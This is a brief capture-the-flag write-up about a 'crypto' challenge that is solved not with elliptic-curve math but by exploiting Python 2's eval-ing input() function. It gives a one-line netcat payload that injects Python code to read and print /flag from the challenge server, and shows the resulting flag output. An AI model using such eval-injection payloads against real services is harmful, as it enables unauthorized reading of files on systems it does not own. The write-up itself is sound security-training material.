This task was about the additive transfer attack on elliptic curves, which seemed very interesting, but unfortunately no math was needed to solve it.

Here’s the only relevant part of the task script (written in `sage`

):

```
def input_int(msg):
s = input(msg)
return int(s)
```

Knowing that sage only recently switched to Python3 and the server might still
be running an older version,
we tried exploiting one of Python**2**’s
most dangerous footguns,
namely the *extremely* inappropriately named `input()`

function.
As the name suggests, this function reads some input — *and then eval()s it*. (WTF?!)

Thus, the full solution for this “crypto” task reads:

```
echo "sys.stdout.write(open('/flag').read())" | nc notbefoooled.challenges.ooo 5000
```

…which printed the flag:

```
_ _ _
/ \ / \ / \ _. ._ ._ _. _|_ _ | | _
\_/ \_/ \_/ \/\/ (_| | | | | (_| |_ (/_ | | \/ (_) |_|
/
_
|_ _ _|_ _ ._ _ _|_ |_ _ _|_ _ _ _ | _ _|
| | (_) \/\/ |_ (_) | | (_) |_ |_) (/_ | (_) (_) (_) | (/_ (_| o o o
Give me the coefficients of your curve in the form of y^2 = x^3 + ax + b mod p with p greater than 34920416236737110998395687449456648500919195721094085737289299988672:
a = OOO{be_Smarter_like_you_just_did}
```